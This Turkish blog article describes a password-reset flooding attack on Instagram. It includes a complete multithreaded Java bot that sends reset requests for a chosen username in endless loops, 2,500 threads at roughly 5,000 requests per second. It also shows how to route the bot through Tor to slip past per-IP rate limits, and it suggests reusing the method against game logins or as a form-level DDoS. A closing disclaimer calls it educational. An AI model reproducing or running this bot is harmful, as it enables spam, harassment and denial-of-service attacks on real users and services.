Webinar’a Katılın | Siber Tehditlere Karşı Güçlü Koruma

İnstagram Password Reset Saldırısı Ve Bot Yapımı

“Instagram hacklemek!”. Bu söz öbeğini duyan herkesin aklına gelenler genellikle “Hesap nasıl ele geçirilir?” ya da “Kilitli bir profil takip edilmeden nasıl görüntülenir?” gibi sorular geliyor. Bu durum Instagram çalışanlarının özellikle üzerinde bir konu olduğu için bu türden hack olaylarında başarılı olmak zor bir hale geliyor. Ancak bu makalede anlatacağımız hack diğerlerinden biraz farklı.

Sizlere konuyu, geçtiğimiz günlerde yaşanılan bir olayı baz alarak aktarmaya çalışacağız. Yakın zamanda Instagram profili hacklenen bir arkadaşımızın hesabını incelerken dikkatimizi çeken bir nokta oldu: Hesaplar hacklendiği anda genelde ilk yapılan işlemin “şifremi unuttum” bölümüne gidilmesi. Bu kısımda, kişisel hesabınız olsun veya olmasın, herhangi birinin Instagram kullanıcı adı, e-mail, telefon numarası gibi giriş için istenilen bilgilerin girilip Instagram’ın şifre yenileme mesajı atması sağlanabilir.

Sonrasında hesap üzerinde yapılan çalışmalarda, hacklenen hesap için şifre yenileme isteği yollanıldı. Hackleme işlemini gerçekleştiren kişinin, ele geçirdiği hesaba kendi telefon numarasını bağladığı sonucuna ulaşıldı. Bu sonuç, hackleme işlemini gerçekleştiren kişinin telefonuna şifre yenileme isteğinin gittiğini gösterdi. Aynı zamanda bu sonuçtan yola çıkılarak, hackleme yapan kişinin telefonuna şifre yenileme isteğinin saniyede 1000 defa atılması soruna çözüm olabilirdi. Sonrasında yapılan aşamalar; http paketleri üreten ve multithread yollayan bir bot oluşturulması ve şifre yenileme isteği atıldığında, üretilen paketin aynısının üretilip bot aracılığı ile yollanmasıdır. Buraya kadar özet geçilen çalışma, Instagram ‘ın bu tip bir spam saldırısı yapılabileceğini göz önüne almamasından kaynaklanan “şifre yenileme bölümünün captcha koruması eksikliğini” göstermektedir. Son olarak yazılan bot test edildi ve başarılı bir şekilde çalıştırıldı. Makalenin devamında çalışmanın detaylarını paylaşacağız.

1.Aşama: Paketlerin Yakalanması

Çalışmanın ilk aşamasında, Instagram’da hesap için şifre yenileme yapıldığında bilgisayardan yollanılan orijinal paketin bulunması gerekmektedir. Bunun için kullanılabilecek birçok program mevcuttur. Ancak bu programların çoğu bu süreçte karmaşıklığa sebep olabilir. Tüm bunlar geride bırakılarak basit bir web tarayıcı eklentisi olan HTTP-Repeater ‘ın kullanılmasını öneriyoruz.

İndirme linki: https://chrome.google.com/webstore/detail/http-repeater-https-live/jhojhhcdnopmbacgkggcgldbclfneefd

Eklenti indirilip kurulduktan sonraki aşamada, tarayıcı üzerindeki eklentinin ikonuna tıklanarak çalıştırılması sağlanmalıdır. Hedef site Instagram olduğundan dolayı karışıklık olmaması adına Instagram ile ilgili olan paketlerin filtrelenmesi gerekmektedir. Bunun için eklentinin açmış olduğu Tab’da filtre bölümü kullanılmalıdır.

Filtrelemeden sonra Instagram’a şifre yenileme isteği yollamaya hazır hale gelirsiniz.Bu kısımda yapılması gereken; tarayıcıdan Instagram’ın şifre yenileme bölümü açılır ve bir hesap kullanıcı adı yazılıp butona basılır. Eklentinin Tab’ına geri dönülüp POST metoduyla atılmış bir paket aratılması gerekir.

Arama sonrasında şifre yenileme paketi ve ilgili bütün detaylar listelenir. Sıradaki aşama bulunulan paketin aynısının sürekli üretilip yollanmasını sağlayan bir botun oluşturulmasıdır.

2.Aşama: Paket Üreten Bot’un Oluşturulması

Çalışmanın ikinci aşamasında filtreleme sonucu elde edilen paketin birebir aynısını üretebilecek (Paket içersinde “email_or_username=” her kullanıcı için farklıdır. “=” işaretinden sonrası değişken olacaktır.) bir botun oluşturulacaktır. Bu çalışmada “Java” kullanılmıştır. Oluşturulacak olan botun bu paketleri multithreadlı bir şekilde yollaması gerekmektedir. Bu durum atağın daha etkili olmasını sağlar. Ayrıca multithread konusunda “Java” dili tercih edilebilecek diğer dillere göre daha avantajlıdır.

Botun oluşturulmasını sağlayacak kod kısmındaki ilk aşama multithread yapılacak class yapısının hazırlanmasıdır.

public static class InstagramResetThread extends Thread {

private String user;

private long delay;

 

public InstagramResetThread(String user, long delay) throws Exception {

this.user = user;

this.delay = delay;

 

}

@Override

public void run() {

 

while(true){

 

try{

URL url = new URL(“https://www.instagram.com/accounts/account_recovery_send_ajax/”);

URLConnection con = url.openConnection();

HttpURLConnection http = (HttpURLConnection)con;

http.setRequestMethod(“POST”);

http.setDoOutput(true);

Map<String,String> arguments = new HashMap<>();

arguments.put(“email_or_username”, user);

arguments.put(“recaptcha_challenge_field”, “”);

StringJoiner sj = new StringJoiner(“&”);

for(Map.Entry<String,String> entry : arguments.entrySet())

sj.add(URLEncoder.encode(entry.getKey(), “UTF-8”) + “=”

+ URLEncoder.encode(entry.getValue(), “UTF-8”));

byte[] out = sj.toString().getBytes(StandardCharsets.UTF_8);

int length = out.length;

http.setFixedLengthStreamingMode(length);

http.setRequestProperty(“Content-Type”, “application/x-www-form-urlencoded; charset=UTF-8”);

http.setRequestProperty(“X-Requested-With”, “XMLHttpRequest”);

http.setRequestProperty(“X-CSRFToken”, “pOVGNGyRjyQIuWpxlmAoRJeVMePXOXbO”);

http.setRequestProperty(“X-IG-App-ID”, “936619743392459”);

http.setRequestProperty(“Origin”, “https://www.instagram.com”);

http.setRequestProperty(“X-Instagram-AJAX”, “550ed74fd7c9”);

 

http.connect();

try(OutputStream os = http.getOutputStream()) {

os.write(out);

}catch (Exception e) {e.printStackTrace();}

 

 

} catch (Exception e) {e.printStackTrace();}

 

try{Thread.sleep(delay);}catch(Exception e2){e2.printStackTrace();}

 

}

 

}

}//end of InstagramReset thread

Kullanılan Header’lar ve POST edilecek veriler “HTTP-Repeater” eklentisi ile filtreleme sonucunda elde edilenlerle aynıdır (User-Agent tarayıcınızı belirtir. Bu sebepten site farklı tarayıcılarla açıldığında değerler sürekli değişeceğinden dolayı kodlamada bu kısmı ayarlamanız gerekmez.).

Class yapısı oluşturulduktan sonra, class’ ın thread olarak kullanılması ve istenilen sayıda çağrılmasını sağlayacak bir döngünün yazılması gerekmektedir.

String user = “instagram”;

int threads = 2500;

int delay = 500;

 

try {

 

for (int i = 0; i < threads; i++) {

InstagramResetThread thread = new InstagramResetThread(user, delay);

thread.start();

}

 

} catch (Exception e1) {e1.printStackTrace();}

Yazılan kod bloğu main fonksiyonunda çalıştırıldığında, yazılan ilk Thread Class’ından 2500 adet oluşturulacak ve her biri 500 milisaniye aralığında ( toplamda saniyede 5000 defa ) istek gönderecektir. Sonuç olarak, Intagram’ın hesap için şifre yenileme isteği yollanması sağlanmış olacaktır.

Bonus: Tor Entegrasyonu

Bazı hedef sitelerde captcha veya ddos koruması olması, bu tür şifre yenileme isteklerini IP başına sınırlandırabilirler. Bu tip durumlarda, sınırlamayı aşmak için Tor kullanılması gerekmektedir. Sınır her aşıldığında başka bir “exit node” a geçilmesi gerekir. Böylece IP sürekli farklı görüneceğinden bu engel aşılmış ve istenildiği kadar şifre resetleme isteği yollanmış olur. Bu kısımda bu özelliğin programa nasıl ekleneceği anlatılacaktır.

System.setProperty(“http.proxySet”, “true”);

System.setProperty(“http.proxyHost”, “127.0.0.1”);

System.setProperty(“http.proxyPort”,”9150″);

System.setProperty(“https.proxySet”, “true”);

System.setProperty(“https.proxyHost”, “127.0.0.1”);

System.setProperty(“https.proxyPort”,”9150″);

System.setProperty(“socksProxyHost”, “127.0.0.1”);

System.setProperty(“socksProxyPort”, “9150”);

Üst kısımda oluşturulan bloğa, main fonksiyonunda kullanılan Java yazılım bağlantıları Tor tarafından yönlendirlir.Ancak program çalıştırılmadan önce Tor Browser Bundle yada AdvOR programlarını çalıştırıp, Tor bağlantısının yapılması beklenmelidir.

İndirme linkleri:

https://www.torproject.org/projects/torbrowser.html.en

https://sourceforge.net/projects/advtor/files/

NOT: Oluşturulan Java yazılımına eklenilecek bir kod bloğuyla Tor bağlantısının kurulumunu kontrol edebilirsiniz.

//IP check

JPanel TorGui = new JPanel();

TorGui.setLayout(new GridLayout(1,1));

JEditorPane website = new JEditorPane(“http://www.whatsmyip.org”);

//JEditorPane website = new JEditorPane(“https://www.dan.me.uk/”);

website.setEditable(false);

website.setContentType(“text/html”);

website.setOpaque(true);

website.setBackground(Color.white);

website.setForeground(Color.white);

TorGui.add(new JScrollPane(website));

TorGui.setVisible(true);

 

//tor check

JPanel TorGui2 = new JPanel();

TorGui2.setLayout(new GridLayout(1,1));

JEditorPane website2 = new JEditorPane(“https://check.torproject.org/”);

website2.setEditable(false);

website2.setContentType(“text/html”);

website2.setOpaque(true);

website2.setBackground(Color.white);

website2.setForeground(Color.white);

TorGui2.add(new JScrollPane(website2));

 

//browser

JTabbedPane tabs = new JTabbedPane();

tabs.add(“https://check.torproject.org/”, TorGui2);

tabs.add(“http://www.whatsmyip.org”, TorGui);

 

JFrame torbrowser = new JFrame(“Internal Tor Browser”);

torbrowser.setLayout(new GridLayout(1,1));

torbrowser.setSize(640, 480);

torbrowser.setLocationRelativeTo(null);

torbrowser.add(tabs);

torbrowser.setVisible(true);

Bu blok aşağıdaki resimlerde görülen 2 Tab’lı basit bir borwser penceresi oluşturur ve Tor bağlantısının görülmesini sağlar.

Instagram Bu Konuda Nasıl Bir Yol İzlemektedir?

Tüm bu süreçler ilgili yerlerin Bug Bouny politikasını öğrenme ihtiyacını ortaya çıkarmaktadır. Instagram’ın politikası incelendiğinde (Facebook gibi şirketleri için kurallar aynı olabilmektedir.), bir kullanıcının hesabını ele geçirmeye çalışan hackerlar haricinde neredeyse konuyla ilgili hiçbir durum kapsama alınmamaktadır veyahut göz ardı edilmektedir.

Bu Atak Başka Hangi Durumlarda Kullanılabilir?

Atağın, multithreadle yapılan bir HTTP form doldurma işlemi olduğu göz önünde bulundurulur ise bu durumun engellenmesi için hedefte DDos için yapılmış bir IP block sistemi olması gerekmektedir (Atak, ağ trafiğinde aynı DDos atağı gibi görünmektedir ve hedef site güvenlik açısından zayıf ise DDos etkisi yaratılabilir. Bu spam saldırısı olsa da aslında bir forma yapılmış DDos saldırısı olduğuda düşünülebilir.). Basit bir Captcha koruması bu durumu kurtarabilmektedir.Bu durum karşılaşıldığında doldurmaktan kaçınılan Captcha’ların önemine dikkat çekmektedir.

Ayrıca atak, bir Web Sitesi yerine, Login sistemi ile çalışan ve client programı olan online olarak oynanan bir oyun üzerinde de denenebilir. Bu kısımda dikkat edilmesi gereken nokta; client programı paketleri servere yollamadan önce şifreliyor ise atağın yapılması zor olacaktır. Ayrıca tarayıcı eklentisi olmayan daha kapsamlı bir trafik denetleyicisine de ihtiyaç duyulacaktır.

ÖNEMLİ!!

Makalede anlatılanlar tamamen eğitim amaçlıdır. Hesaplara karşı yasadışı faaliyette bulunmamanız gerekmektedir.Karşılaşılan sorunlardan sorumluluk kabul edilmemektedir.